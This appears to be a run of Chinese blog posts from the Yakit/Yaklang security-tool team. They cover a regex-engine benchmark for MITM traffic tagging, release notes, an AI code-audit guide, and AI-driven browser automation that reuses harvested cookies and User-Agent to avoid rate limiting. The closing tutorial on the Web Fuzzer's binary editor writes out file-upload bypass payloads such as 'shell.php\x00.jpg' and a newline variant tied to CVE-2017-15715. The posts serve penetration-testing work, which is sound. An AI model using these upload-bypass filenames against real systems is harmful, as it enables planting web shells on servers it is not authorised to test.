真实语料	从本地 yaklang 项目库抽取的 ~5MB 真实 HTTP 流量（1332 报文，`traffic_corpus.bin`）
合成集	固定 ~1MB 语料（256 × 4KB 报文），字面量丰富、命中稀疏，N ∈ {50,100,300,500,1000}
口径	三后端共用同一语料、同一规则、同一 `Scan` API；`b.SetBytes(语料字节)` → MB/s 为聚合真吞吐；`benchtime=3x`
基线	StdlibLoop：N 条正则逐条扫整段，即"几百正则一次匹配"的等价现状

正确性不掺进吞吐判断：命中集合/偏移由独立差分测试保证（MVS 命中集与 stdlib oracle 逐字节一致、C 内核与 Go 参考执行器逐位一致）。

四、Benchmark 结果

这批规则的作用是对流量进行自动染色标注：例如报文中出现 rememberMe= 标注 组件-Shiro、出现 swagger-ui.html标注 组件-Swagger指纹、匹配 (?i)Druid 标注 组件-Druid。每一条流量都需经过整批规则匹配，因此该路径的吞吐直接决定 MITM 启用规则后的处理能力。以下从复杂度、真实场景、引擎本身三个维度给出实测结果。

YAK

4.1 复杂度：加速比随规则数增长（N=50 时 11.6× → N=1000 时 83.6×）

固定 ~1MB 语料，仅改变正则条数 N。minirehs 采用"一次扫描"，吞吐基本与 N 无关（597→232 MB/s，缓降源于候选管理开销）；逐条匹配的 StdlibLoop 随 N 线性劣化（52→2.8 MB/s）；二者比值即加速比，随 N 单调放大。

图一

N	Engine 吞吐	StdlibLoop 吞吐	加速比
50	597.40 MB/s	51.53 MB/s	11.6×
100	511.08 MB/s	26.25 MB/s	19.5×
300	411.14 MB/s	9.20 MB/s	44.7×
500	327.55 MB/s	5.56 MB/s	58.9×
1000	232.42 MB/s	2.78 MB/s	83.6×

适用范围：指纹识别、扫描规则、IOC 匹配等字面量丰富、命中稀疏的场景，规则数越大收益越显著。

YAK

4.2 真实 MITM 场景：0.19 → 6.10 MB/s（约 32×）

本组为最接近 Yakit 实际的场景：87 条真实规则、~5MB 真实流量、同一 ScanAPI 端到端。以现状 StdlibLoop（0.19 MB/s）为 1× 基线：

图二

方案	吞吐	相对 StdlibLoop	allocs/op	语义
StdlibLoop（现状：逐条全量）	0.19 MB/s	1.0×	2687	精确偏移
Engine（纯 Go 字面量预过滤）	0.47 MB/s	2.5×	4668	精确偏移
MVS 定位档	2.66 MB/s	14.0×	357	精确偏移
MVS 存在性档	6.10 MB/s	32.1×	545	存在性
MVS 存在性（纯 RE2 子集）	7.18 MB/s	37.8×	423	存在性

口径说明：MVS 各档来自 BenchmarkMVSExistence（87 条），Engine/StdlibLoop 来自 BenchmarkMITMRealTraffic（RE2 可编译子集），两个基准共用同一 0.17~0.19 MB/s 的 StdlibLoop 固定参照。
存在性档不给精确偏移（From/To=-1），契合 MITM 打标"只要哪些规则命中"的场景；需要替换/抽取的精确位置时用定位档。

折算为可感知延迟：按同一 per-byte 速率，处理一条 1 MB 的响应体（如 JS bundle、JSON 导出），逐条匹配约需5.3 s，存在性档降至约0.16 s——这是"MITM 开启全部内置规则后是否卡顿"的直接来源。打标仅判存在性时端到端约32×，纯 RE2 子集约38×，需要精确偏移的定位档亦达14×。

YAK

4.3 引擎层面：单条 1.8×–9.6×，布尔匹配零分配

左图为 go-pcre2-lite（drop-in 层）相对 dlclark/regexp2 的单条加速比（库自带基准，darwin/arm64）：各场景均更快，布尔匹配短串9.6×、100KB9.3×，且布尔匹配路径零分配。右图为将 minirehs 候选命中后的兜底引擎由 regexp2 更换为 PCRE2后，对 MVS 存在性吞吐的影响。

图三

场景	dlclark	pcre2 drop-in	加速比	drop-in 分配
布尔匹配·短串	6472 ns	676 ns	9.6×	0 B / 0
布尔匹配·100KB	26.4 ms	2.84 ms	9.3×	0 B / 0
含反向引用	396 ns	186 ns	2.1×	0 B / 0
重回溯·32KB	20.0 ms	10.9 ms	1.8×	0 B / 0
编译·复杂模式	10.3 µs	~3.2 µs	3.3×	1.5 KB / 17
FindAll·670 命中	380 µs	138 µs	2.8×（low-level 6.0×）	—

右图诚实标注："切换前"为 README 记录的 Phase 4 快照（C 内核存在性档），"切换后"为本机第一手实测（当前默认构建，纯 Go MVS + PCRE2 兜底），
两者后端档位不完全一致，不是同一构建上的受控 A/B，表达的是"当前默认构建相对历史快照的整体提升"，其中兜底换 PCRE2 是被 profile 标记的主导因素之一，
但不能把全部增益单独归因于它；单条正则层的严格受控收益以左图 PCRE2 vs dlclark 为准。本机快速抽样（benchtime=2x，有噪声）也佐证了方向：短串布尔匹配 low-level ~9.5×、分配 5→1。

五、结果解释

合成集可达 80×+ 而真实 MITM 约 32× 的原因：合成集字面量丰富、命中稀疏，预过滤命中率高，× N_rules 因子被有效消除；真实 MITM 为对抗性规则集——含大量形如 (...key|auth|user...).*? 的宽泛正则，字面量短而常见且含无界 .*?，字面量命中后仍需整段验证，该成本占主导，故加速比收敛至约 32×。此为规则形态的固有属性，已通过 profile 与"全并/LimEx"等实验定位（见 minirehs/MINI_VECTOR_SCAN_IMPL.md）。
存在性档快于定位档的原因：打标仅需判定"哪些规则命中"，可走纯位运算快路径、不追踪 leftmost-longest 偏移，分配亦更低。
两层分工的本质：minirehs 将"匹配次数"从 N_rules × N_packets 降至 ~N_packets；go-pcre2-lite 进一步压低"每次匹配的常数"并约束 ReDoS。

二者叠加，构成 MITM 端到端由 0.19 提升至 6~7 MB/s 的来源。

六、能力边界、生态影响与结论

首先明确适用边界，以避免对数字的误读。该方案的强项在于字面量丰富、命中稀疏、规则数大的场景（指纹识别、扫描规则、IOC），加速比随规则数增长，合成集可达数十至上百倍；弱项在于充斥 .* 与常见短字面量的对抗性规则集，此时整段验证成本占主导，MVS 存在性约 32×、纯 Go 引擎约 2.5×。继续逼近 Hyperscan/vectorscan 量级需依靠Teddy SIMD 默认化 + Rose-lite 链分解（命中点小邻域验证），而非在逐条正则之上叠加"组合 gate 预筛"（后者经实测否决，在对抗集上反而更慢）。

此外存在两项工程约束：存在性档不提供精确偏移（需要位置时改用定位档，或以存在性档作快速门）；go-pcre2-lite 兜底强制 CGO_ENABLED=1，而 minirehs本身在 CGO_ENABLED=0 下亦可纯 Go 运行，二者对 CGO 的要求不同，需在分发矩阵中分别处理。迁移时应按 MIGRATION.md核对少数文档化的语义差异（混合命名/无名组编号、重复组 capture 历史、RightToLeft；按名访问始终一致）。

在生态影响层面，正则是 Yaklang 的底层原语，因此两项工作的收益不限于 MITM。其一，它提供了统一的正则底座：common/utils/regexp-utils 已成为全生态的正则入口（RE2 优先、PCRE2 兜底），凡使用该入口的子系统——指纹识别 common/fp、Suricata 规则 common/suricata、流量守卫 common/crep/trafficguard、SyntaxFlow 规则匹配——均自动继承"更快、布尔匹配零分配、ReDoS 有界、语法更全"的收益，此前因语法受限而无法使用的历史规则相当一部分可直接运行。其二，ReDoS 由潜在隐患转为平台属性：安全工具需处理用户提供或第三方来源的正则，旧引擎"永不超时"意味着单条异常正则即可拖垮引擎，PCRE2 的有界匹配将其转为可返回错误的可控事件。其三，rehs 成为 yak 语言的一等能力：插件作者可通过 rehs.BuildGroup / Match / Find / MatchedPatterns实现一次编译、一次扫描海量规则，无需自行编写逐条循环。其四，minirehs 零外部依赖、不加载任何动态库、CGO 不可用时优雅退化为纯 Go，契合 Yak 引擎跨平台可移植、分发稳定的定位。

结论：真实 MITM 87 条规则 + ~5MB 真实流量下，存在性打标约 32×、纯 RE2 子集约 38×、定位档约 14×；单条正则更快（1.8×–9.6×）、布尔匹配零分配、ReDoS 默认有界、语法更全，代价是正则路径强制 CGO；复杂度由O(N_rules × N_bytes) 降至 ~O(N_bytes) 后，数百条正则的匹配确实更快，且加速比随规则数增长（合成集 50 条 11.6× → 1000 条 83.6×）。

综合而言，go-pcre2-lite 降低了每次匹配的成本并扩展了可编译范围，minirehs 将匹配次数由乘性关系转为加性关系；二者叠加，构成 Yakit MITM 内置规则由"逐条匹配 N 遍"到"一次扫描完成"的性能量变。

七、如何使用

可在MITM规则里配置是否使用更新后的正则规则。

YAK

附录 A：复现信息


# 合成规模：吞吐随 N 变化（图 1）

CGO_ENABLED=1 go test ./common/minirehs/ -run '^$' -bench BenchmarkSyntheticScale -benchmem -benchtime 3x

# 真实 MITM 规则 + 真实流量（图 2）

CGO_ENABLED=1 go test ./common/minirehs/ -run '^$' \

  -bench 'BenchmarkMVSExistence|BenchmarkMITMRealTraffic' -benchmem -benchtime 3x -timeout 1800s

# 单条正则层 PCRE2 vs dlclark（图 3 左）

CGO_ENABLED=1 go test -bench . -benchmem -run '^$' github.com/VillanCh/go-pcre2-lite/...

# 差分正确性（吞吐之外的护栏）

go test ./common/minirehs/ -run TestConsistency -short

图一

图二

图三

YAK

附录 B：图表复现

所有图表由 assets/make_figures.py 从 assets/data/*.csv 渲染，复用 precise-content-skills 的共享样式（pc_style.py，warm-paper 米色底、Okabe–Ito 色盲友好配色）：


python3 -m venv venv && ./venv/bin/pip install matplotlib pandas numpy

./venv/bin/python assets/make_figures.py   # 输出 fig1..fig3 的 PNG + SVG

文件	内容	来源
`assets/data/synthetic_scale.csv`	合成集吞吐/加速比	本机第一手 `BenchmarkSyntheticScale`
`assets/data/mitm_realtraffic.csv`	真实 MITM 吞吐/分配	本机第一手 `BenchmarkMVSExistence` / `BenchmarkMITMRealTraffic`
`assets/data/pcre2_single_regex.csv`	PCRE2 vs dlclark	`go-pcre2-lite` 仓库自带基准（darwin/arm64）

YAK

附录 C：关键源码位置

组件	路径
多正则引擎 minirehs	`common/minirehs/`（`README.md` 有完整设计与 PROFILE）
yak `rehs` 库入口	`common/minirehs/rehs_api.go`
MITM 统一预过滤（不漏报）	`common/yakgrpc/yakit/httpflow_replacer_prefilter.go`
MITM 染色/提取主流程	`common/yakgrpc/yakit/httpflow_replacer.go`
正则统一入口（RE2 优先、PCRE2 兜底）	`common/utils/regexp-utils/regexp-utils.go`
go-pcre2-lite	`github.com/VillanCh/go-pcre2-lite v0.1.2`（drop-in 包 `.../regexp2`）

*说明：真实语料为本地 yaklang 项目库抽取的脱敏 HTTP 流量；rule4yak 规则集来源 SexyBeast233/rule4yak。

数据为特定硬件（darwin/arm64）与特定构建下的实测，绝对数字会随机器与规则集变化，但"加速比随 N 增长"与"两层正交叠加"的结论具有一般性。*

END

更新记录

Yakit v1.4.8-0710

1. WebFuzzer新增API接口测试功能

2. 全局配置增加“关闭二次弹窗”配置开关

3. 优化部分右键菜单快捷执行

4. 修复全局配置AI模型缓存问题

5. 修复history批量染色处理卡顿崩溃问题

6. 修复history点击右键菜单变白的问题

7. 优化引擎连接流程，增加可选工作空间

8. 优化右键执行插件的交互和展示

9. 登录后可使用移动端控制功能，绑定飞书/钉钉远程控制AI Agent功能

10. YakRunner优化AI代码编写的展示和交互

11. 优化WebFuzzer的按钮展示

Memfit v1.0.3-0710

1. 修改工具调用卡片（icon、工具名称展示，理由位置、生成参数卡片样式）

2. 修改任务执行详情（修改标题、不新开tab）

3. 自由对话新增子agent任务描点定位

4. 优化自由对话待办清单展示，可展示已完成/进行中/未完成

5. 子Agent任务增加跳过和查看任务详情

6. 优化发送问题后前端UI展示逻辑

7. 优化自由对话任务详情展示逻辑，只展示一个，不重复多开

Yaklang 1.4.8-beta2

1. 新增飞书/钉钉远程控制AI Agent功能(需要登录后使用)

2. 新增代码审计子 Agent 与 react_loop 增强

3. 新增大量 MCP 工具集（chaos maker / fingerprint / http builder 等）

4. 修复大型项目 SyntaxFlow 扫描内存与卡死问题，重构 SSA 编译单元流式编译

5. 修复 HTTPFlow 标签更新、插件取消上下文和 facade TLS 加固

6. 修复 cybertunnel 隧道客户端错误处理与 MITM 热补丁并发问题

7. 新增 Windows ARM64 CI 支持与 slim(轻量版）门禁测试

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

IRify新功能上线：AI代码审计和 Skills 安全扫描

Fri, 03 Jul 2026 17:53:00 +0800

原创 YAK 2026-07-03 17:53 湖南

紧跟时代潮流 IRify 同时支持 AI 与传统 SAST 技术，快来试试吧

本文介绍 IRify 中两项新的 AI 联网审计功能：AI 代码审计 与AI Skill 安全分析。阅读后，你可以独立完成从打开软件、选择目录、开始审计，到与 AI 协作分析代码的全过程。

一、这两项功能是什么？

IRify 首页现在提供四种审计方式。其中 AI 代码审计和 AI Skill 安全分析 是本次新增的两项，都需要联网，通过右侧 AI 对话助手帮你分析代码。

	AI 代码审计	AI Skill 安全分析
适合分析什么	普通项目源码：业务逻辑、跨文件调用、复杂漏洞	Skill 相关项目：Skill 是否安全、是否存在恶意行为
AI 擅长什么	读懂业务、解释风险、给出修复思路	针对 Skill 场景做专项分析
首页按钮	「开始 AI 审计」	「开始 Skill 分析」

和传统「代码扫描」有什么区别？

传统代码扫描 / 传统代码审计：按内置规则离线扫描，速度快，适合批量找已知模式。
AI 代码审计 / Skill 安全分析：像和一位安全专家对话，你可以边看代码边提问，AI 能结合上下文做解释和研判。

两项 AI 功能进入的是 同一个工作台：左边看代码、右边和 AI 聊天，只是 AI 的分析模式不同。

二、打开 IRify 首页

启动 IRify 后，首先看到的是 代码审计工作台首页。

页面下方是项目与风险的统计概览；上方 「快速入口」区域有四张卡片：

1.AI 代码审计（联网）

2.AI Skill 安全分析（联网）

3.传统代码审计（离线）— 原有功能

4.代码扫描（离线）— 原有功能

怎么选？

要审 普通业务代码、需要 AI 帮你读逻辑、解释漏洞 → 点 「开始 AI 审计」
要审 Skill 项目、关心 Skill 是否有恶意行为 → 点 「开始 Skill 分析」
只想按规则批量扫一遍、不需要对话 → 用另外两个离线功能即可

点击任一 AI 卡片后，会进入 AI 代码审计工作台；会先弹出 引导窗口（下一节详述）打开目录并开始审计。

三、引导窗口：三步完成准备

第一次使用，或点击「打开本地文件夹」时，会出现 引导窗口，分三步走。

YAK

第一步：选择目录

选择你要审计的 本地文件夹（即项目根目录）。

点击 「打开本地文件夹」 从本机选择
下方 「最近打开」 可快速选以前开过的目录
历史记录会显示小标签：代码审计、技能审计 或 未确定，方便辨认上次用的哪种模式

选好后点 「下一步」。

从首页带着类型进来的： 若你已从首页点了「开始 AI 审计」或「开始 Skill 分析」，类型已选好，这一步主要选目录。

YAK

第二步：选择审计风格

在 代码审计 和 Skill 安全分析 中二选一。

代码审计：通用源码安全分析
Skill 安全分析：针对 Skill 的专项分析

选好后点 「下一步」。

可能跳过这一步的情况： 若从首页卡片进入且类型已确定，或你点的历史记录里已有明确类型，引导可能直接进入第三步。

YAK

第三步：确认并开始

核对目录、审计类型，并可编辑预设消息（发给 AI 的第一句话）。

审计类型	默认预设消息（可改）
代码审计	开始审计
Skill 安全分析	请审计这个 Skill 是否存在恶意行为

底部有两个主要操作：

开始（紫色主按钮）：

打开目录，自动把预设消息发给 AI 并开始分析；之后审计类型不可再改

仅打开文件（灰色次要按钮）

只打开目录，预设消息填进输入框但不发送；

你可以先自己看代码，改好问题再手动点发送；审计类型仍可切换

其他操作：

上一步：第三步点「上一步」会回到第二步改审计类型（方便从历史记录进来后换类型）
取消 / 按Esc / 点击窗口外：关闭引导，不会自动开始 AI

四、进入工作台后怎么用？

YAK

AI 审计

引导完成后，界面大致分为三块：

左侧文件目录将可以选择浏览文件系统
中间代码编辑器，可以浏览代码并选中内容发送到AI对话。
右侧AI审计：AI将会自动开始按照流程审计，并得到一份报告。可以发送选中的重点内容发送给AI。

YAK

把选中的代码发给 AI

在编辑器里用鼠标选中一段代码，选区附近会出现悬浮按钮 「发送到 AI 会话」。

点击后，选中内容会作为附件出现在右侧 AI 输入区，你可以补充问题再发送。

也可以右键菜单 → 发送到 AI 会话，效果相同。

典型用法： AI 先整体扫一遍 → 你在代码里发现可疑片段 → 选中后发给 AI 追问「这段有没有问题？怎么修？」

YAK

代码审计报告

在AI审计完成后将会得到报告。可选择打开查看报告。并选择下载到本地（PDF形式）。

五、几种常见使用方式

YAK

方式 1：从首页一键开始

1.首页点 「开始 AI 审计」或「开始 Skill 分析」。

2.引导里选目录 → 确认审计风格 → 点 「开始」。

3.AI 自动收到预设开始消息并开始工作；左侧可浏览代码，右侧看 AI 回复。

YAK

方式 2：先打开目录，稍后再问 AI

1.引导第三步点 「仅打开文件」。

2.目录打开，预设消息在输入框里但不会自动发出。

3.可以先自己看代码，想好问题后改输入框内容，再手动点发送。

YAK

方式 3：从历史记录接着上次的工作

1.欢迎页或引导第一步的 「最近打开」 里点一条记录。

2.若记录里已有审计类型，会直接进入 第三步确认。

3.想换类型：点 「上一步」 回到第二步修改。

END

更新记录

Yakit v1.4.7-0703

1. 右键菜单部分选项折叠，点击执行默认选项

2. 移除AI插件选项，所有右键插件在“插件扩展”展示

3. 优化history表单展示逻辑

4. 补充优化部分英文翻译

5. MITM内置规则支持开关配置

6. 修复附近数据包查看功能

7. 修复时间筛选回显问题

8. 修复插件图片评论异常问题

9. 修复网站树异常问题

10. WebFuzzer流量新增tag支持筛选

11. 二进制展示方式可通过History-配置和Webfuzzer配置进行控制

12. 二进制弹框组件增加复制和导出

13. 启动页面增加引擎版本切换

Memfit v1.0.2-0703

1. 自由会话增加子agent执行

2. 工具调用增加调用目的展示

3. 任务详情增加浏览器进程展示和管理

4. 优化任务详情展示UI

5. Ai输出的代码狂不展示行号和小地图，方便展示更多内容

6. 登录账号可分配Apikey

IRify v1.2.3-0703

1. AI代码审计增加SKILL分析

Yaklang 1.4.8-beta1

1. 修复 MITM 透明代理 TLS 握手卡住问题

2. HTTPFlow/WebFuzzer 流量标记、分片编码与导出增强

3. MITM 请求支持按需关闭内置 TrafficGuard 扫描

4. 修复 HTTPFlow 网站树被最新扫描 Host 覆盖

5. 修复 AI 引擎 Aborted/连接失败状态不返回错误

6. AI ReAct 最大迭代改为软中断，失败信息更完整

7. AI Plan 支持直接规划路径与 DAG 校验

8. AI 工具调用 reason/status 与子 Agent 流式展示优化

9. Yaklang Code 模式自测、执行流程与错误处理优化

10. use_browser 优先使用 Yakit 配置的 Chrome 路径

11. 修复信息收集 JS 静态流程逗号路径问题

12. Nuclei flow/internal matcher 支持，降低误报

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

让 AI 真正「看懂」网页：Memfit 浏览器自动化实践

Fri, 26 Jun 2026 17:05:00 +0800

原创 YAK 2026-06-26 17:05 湖南

重构浏览器自动化逻辑，AI 驱动 Web 操作的架构解法与项目实战

本文分享 Yaklang 项目中 AI Agent 驱动浏览器完成 Web 操作的设计思路与实战经验。

一、背景与整体架构

传统浏览器自动化面向程序员——写选择器、处理等待、维护脚本。AI Agent 面对的是自然语言任务（登录后台、验证越权、抓取内容），面临三个矛盾：页面如何被 AI 理解、元素如何被稳定定位、多轮对话如何维持浏览器会话。

在 Yakit 中的解法是插入一层「AI 可读」的浏览器中间件：无障碍树 Snapshot 供 AI 读结构，短 ref（@e1）供 AI 点元素，Session 让多次工具调用共享同一 Chrome。

层级	职责
Agent	拆解任务、选工具、读输出、决策下一步
use_browser	统一 op 入口，翻译为浏览器操作
browser 模块	实例管理、Snapshot、ref 映射、CDP 执行
Chrome	真实渲染与交互

二、核心原理

YAK

Snapshot + Ref：AI 读结构，不读像素

snapshot 返回的是 Accessibility Tree 文本，不是截图。可交互元素带 [ref=eN]，Agent 用 @e3 填表、@e5 点击，底层映射到 DOM 再经 CDP 执行。相比整页 HTML 更省 token，相比截图不依赖多模态模型。

YAK

交互循环与双策略

典型流程：open → snapshot → fill/click → 验证 → close。Agent 通过 Tool Call 间接驱动 Chrome；同一 `session`（默认 `ai-browser`）跨轮次复用 Cookie 与登录态。任务涉及浏览器时会加载 Skill（如 `how-to-use-browser`），注入操作策略。

策略	流程	适用
A：Snapshot + Ref	open → snapshot → 用 ref 操作 → 变化后重 snapshot	静态 HTML，首次 snapshot 有 ref
B：JavaScript 优先	open → eval 探表/填表/提交 → eval 或 get 验证	SPA、登录表单、snapshot 返回 0 ref

铁律：0 ref 时不要反复 snapshot，立刻切 eval 或 CSS 选择器。

YAK

use_browser 能力速览

单一工具，参数 op 选操作；target 支持@eN 与CSS 选择器。

类别	op
导航	open back forward reload close
感知	snapshot screenshot get（含 cookies）
交互	click fill type hover drag select check uncheck setfiles scrollintoview press
脚本	eval wait
标签	tab_list tab_new tab_switch tab_close

常用参数：urltargetvaluejs；可选 headless、timeout。iframe 内元素需 eval。

三、实战案例

YAK

案例 1：传统后台登录（Snapshot 策略）

首先打开 Yakit 的 vulinbox 靶场：

然后在 Memfit 中输入提示词：使用浏览器帮我登陆http://127.0.0.1:8787/jwt/safe-login，账号密码分别是admin/admin

发送提示词，观察浏览器，Memfit AI 会打开浏览器，输入账号密码，执行登陆，获取结果。

步骤	动作
1～4	open → fill 用户名/密码 → click 登录
5～6	get url / title 验证 → close

小结：静态页 4～6 轮 tool call 可完成，上面这种事比较简单的登陆策略。

YAK

案例 2：AI 登录 → 导出 Cookie → Yak 脚本抓取

用户指令（原文）

帮我使用浏览器打开 https://movie.douban.com/ ，然后获取 Cookie 和 UA，再编写 Python 脚本，批量获取所有正在热映电影。

场景说明

豆瓣电影首页展示「正在热映」卡片，但列表较长、后续还可能翻页或跳转子页。若直接用 Python requests裸请求，常因 缺少浏览器 Cookie、User-Agent 不像真实访问 而被限流或返回不完整内容。本案例不需要账号登录，核心是：用真实 Chrome 访问一次，借浏览器建立「像人一样的」请求指纹，再把 Cookie + UA 交给脚本做批量 HTTP 抓取。

任务目标

打开豆瓣电影，确认「正在热映」区块已加载
导出当前会话的 Cookie与 User-Agent
生成并运行 Python 脚本，拉取全部正在热映条目
输出结构化结果（片名、评分、详情链接等）

为什么用「浏览器 + 脚本」混合

阶段	浏览器	Yak 脚本
登录 / Cookie	✅	❌ 通常需要人工逆向js
批量分页	❌ 慢且费 token	✅ 并发 HTTP

实际运行时条目数随豆瓣首页热映排片变化；脚本目标是一次性覆盖当前全部热映项，而非仅首页可见的几张卡片。

结果

浏览器阶段：约 3～5 次 tool call（open → cookies → eval UA → 可选 html → close）
脚本阶段：秒级完成列表拉取与解析（视网络与条目数而定）
交付物：douban_movie_scraper.py、douban_nowplaying.json、douban_nowplaying.csv

经验小结

不必登录也要过浏览器：豆瓣这类站点即使用户未登录，仍建议先浏览器访问再抓 Cookie，比脚本裸奔稳定得多。
Cookie + UA 成对使用：只抄 Cookie 不换 UA，或反之，都容易触发异常响应。
浏览器只跑一趟：热映列表的重复 GET 交给 Python，避免 Agent 对每个电影 ref 点一遍。
合规与频率：仅用于个人学习/内部分析时控制请求频率，遵守站点服务条款；Cookie 有时效，脚本失败时可让 Agent 重新 open 刷新 Cookie。
脚本语言不限于 Yak：本例用户指定 Python；同一流程也可让 Agent 写 Yak 脚本，原理相同。

四、实践要点

YAK

与传统自动化对比

维度	传统脚本	Memfit + use_browser
页面理解	手写选择器	Snapshot 文本 + ref
任务入口	代码	自然语言 + ReAct
SPA	wait + 选择器	eval 兜底
会话	脚本变量	session 跨 tool call
典型场景	QA / 开发	安全测试、Agent 编排

YAK

踩坑清单

1.snapshot ≠ 截图——要视觉确认用 screenshot。

2.0 ref 立刻换 JS 策略——勿空转 snapshot。

3.页面变化后 ref 必刷新。

4.长任务记得 close——释放 Chrome。

5.浏览器 vs HTTP——无登录态用 HTTP；登录、CSRF、Cookie 用浏览器；批量抓取用 Cookie + Yak 脚本（案例 4）。

总结

用 Snapshot 翻译页面结构，用 Ref 简化「点哪里」，用 Session 缝合多轮对话，用 eval 兜住 SPA——Tool 提供能力，Skill 提供策略，Agent 在上层决策。这不是取代 Playwright，而是为LLM 作为操作者 重新设计的中间层。配合Yaklang 或 python 脚本可以最大程度上释放 AI 的安全能力。

END

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

Yakit 新功能：Edit Binary 让上传包里的不可见字符可控了

Thu, 18 Jun 2026 17:30:00 +0800

原创 YAK 2026-06-18 17:30 湖南

可视化二进制流量编辑实操

测上传漏洞的时候，有一种场景特别烦人：

你需要在数据包里写入真实的 \x00、\x0a 这类不可见字节，但普通文本编辑器里根本没法直接输入它们。

比如空字节截断、换行解析这些经典 bypass，payload 长这样：


filename="shell.php\x00.jpg"

filename="shell.php\x0a.jpg"

以前要在 Yakit 里发出真实的空字节，通常得用 URL 解码类的 Fuzztag 间接构造，比如：


filename="shell.php{{urldec(%00)}}.jpg" // 或者{{null()}}

{{urldec(%00)}} 渲染后才会变成真正的0x00 字节。但这种方式有几个问题：

要记住urldec、urldecode 这类 Fuzztag 的写法；
多个特殊字节混在一起时，可读性很差；
没法直观确认最终发出去的字节到底是不是0x00；
如果还要换行符、图片魔数之类，得组合一堆标签，越写越乱。

最近 Yakit 新分支在 Web Fuzzer 里加了一个 Edit Binary功能，把这件事直接集成到了编辑器里。这篇文章介绍一下它怎么用，以及为什么上传包改包会因此变简单。

一、Edit Binary 是什么？

当 MITM 数据包中存在二进制流时， MITM 数据包的 body 会变成含有 {{unquote(...)}} 包裹的数据包，而 Edit Binary 就是针对 {{unquote(...)}}、{{hexdecode(...)}}、{{base64decode(...)}}这类二进制 Fuzztag 的可视化编辑器。

当你在数据包里存在，或者写了这样的标签：


{{unquote("shell.php\x00.jpg")}}

Yakit 会把它渲染成一个小卡片：


Binary[0x736865..13B] Click to modify

点击这个卡片，就会弹出 Edit Binary - {{unquote(...)}} 窗口，你可以像用 Hex Editor 一样直接修改里面的原始字节。

二、Binary 卡片什么时候会出现？

先说两个容易踩坑的点。

YAK

2.1 引号必须用双引号

unquote标签目前只识别双引号字符串。

如果你写成：


{{unquote('shell.php\x00.jpg')}}

它不会被折叠成 Binary 卡片，因为源码里的正则只匹配 "..."（binaryFuzztag.ts:153）。

正确写法：


{{unquote("shell.php\x00.jpg")}}

YAK

2.2 没有长度门槛

unquote / hexdecode / base64decode是可编辑标签，源码里没有对它们设置长度门槛，无论内容多短都会折叠成卡片。


{{unquote("\x00")}}           ← 1 个字节，也会折叠成 Binary 卡片

{{hexdecode(00)}}              ← 1 个字节，也会折叠成 HexString 卡片

{{base64decode(AA==)}}         ← 1 个字节，也会折叠成 Base64 卡片

注意语法区别：

unquote 的参数是带双引号的字符串：{{unquote("\x00")}}
hexdecode / base64decode 的参数不需要引号：{{hexdecode(00)}}、{{base64decode(AA==)}}

三、Edit Binary 界面长什么样？

弹窗主要分为三块：

区域	内容
顶部	标签信息：`Tag: {{unquote(...)}}`、`Bytes: 13`、`Head: 0x7368...`
中间	Hex 编辑器，十六进制 + ASCII 双栏展示
底部	工具栏：`插入` / `替换` 模式、`HEX` / `ASCII` 输入、输入框、`应用` 按钮

四、两种模式 + 两种输入

YAK

4.1 替换模式（默认）

打开 Edit Binary 时，默认就是替换模式。

这个模式必须先在下方 Hex 视图里选中一段字节，然后输入内容去覆盖它。

没选中时提示：请在下方选中要替换的字节
选中后提示：选区: 0x2 - 0x04 (len 3)

如果输入内容比选区更长，会弹窗问你要「继续追加多余部分」还是「放弃多余部分」。

点击应用替换成功

YAK

4.2 插入模式

切换到插入模式后，输入内容会插入到当前定位的位置。

如果你在 Hex 视图里点击某个字节（或选中一段），内容会插入到该位置之前；
如果完全没有选中任何字节，内容会追加到整个 buffer 的末尾。

提示语对应为：


插入位置: 0x0        ← 有选中/定位时

插入到末尾(可在下方点击定位)   ← 无选中时

点击应用插入成功

插入或者替换成功后，点击提交，可以看见如下的 [Changed] 表示数据已经被修改过

YAK

4.3 HEX 输入

适合写入不可见字节。

输入框 placeholder：


如 ffd8ff..(偶数位hex)

规则：

不需要 0x 前缀，直接写十六进制字符；
两个字符代表一个字节，所以长度必须是偶数；
只能包含 0-9、a-f、A-F，中间可以加空格分隔；
长度为奇数或包含非法字符时，会报错：invalid hex input, expect even-length hex string。

比如要写入真实的 0x00：

要写入 JPEG 魔数：

FFD8FFE0

错误写法：


0x00       ← 不要加 0x 前缀

0          ← 长度不是偶数

GG         ← 不是合法 hex 字符

YAK

4.4 ASCII 输入

适合写入可见字符，Yakit 会按 UTF-8 编码成字节。

比如输入：


shell.php

就得到对应的 ASCII 字节序列。

五、实战一：NullByte 截断文件名

这是最直观的场景。文件名需要是：


shell.php[0x00].jpg

步骤

1.在 Web Fuzzer 的数据包里写：


Content-Disposition: form-data; name="filename"; filename="{{unquote("shell.php.jpg")}}"

2.点击折叠出来的 Binary[...] 卡片。

3.弹窗里看到 13 个字节，Head: 0x7368...。

4.选中要截断的位置，用 HEX 输入框写 00，点击应用；

或者用鼠标选中某个字节，切换到 替换 模式，用 00 覆盖它。

5.点击 提交，标签自动更新。

6.点击发送后，点击详情，查看数据包

注意：你不需要自己算 Content-Length，Yakit 渲染 {{unquote(...)}} 时会按实际字节长度自动处理。

六、实战二：换行解析文件名

另一个经典场景是 CVE-2017-15715，文件名按换行符切分：


shell.php[0x0a].jpg

步骤

假设你一开始只写了普通文件名：


Content-Disposition: form-data; name="filename"; filename="{{unquote("shell.php.jpg")}}"

1.点击 Binary 卡片，打开 Edit Binary。

2.在 Hex 视图里点击 shell.php 末尾那个字节，定位插入点。

3.切换到 插入 模式。

4.输入方式选 HEX，输入框里写：

0a

5.点击 应用，真实的换行字节就插入到了shell.php 和 .jpg 之间。

6.点击 提交，标签自动更新为 {{unquote("shell.php\x0a.jpg")}}。

这样你就拼接出了一个包含真实 0x0a 字节的文件名，不需要离开 Yakit。

你也可以反过来：先写 {{unquote("shell.php\x0a.jpg")}}，然后打开 Edit Binary 检查中间那个字节是不是真的是 0x0a，必要时再调整。

七、HEX 和 ASCII 到底什么时候用？

场景	推荐输入方式	例子
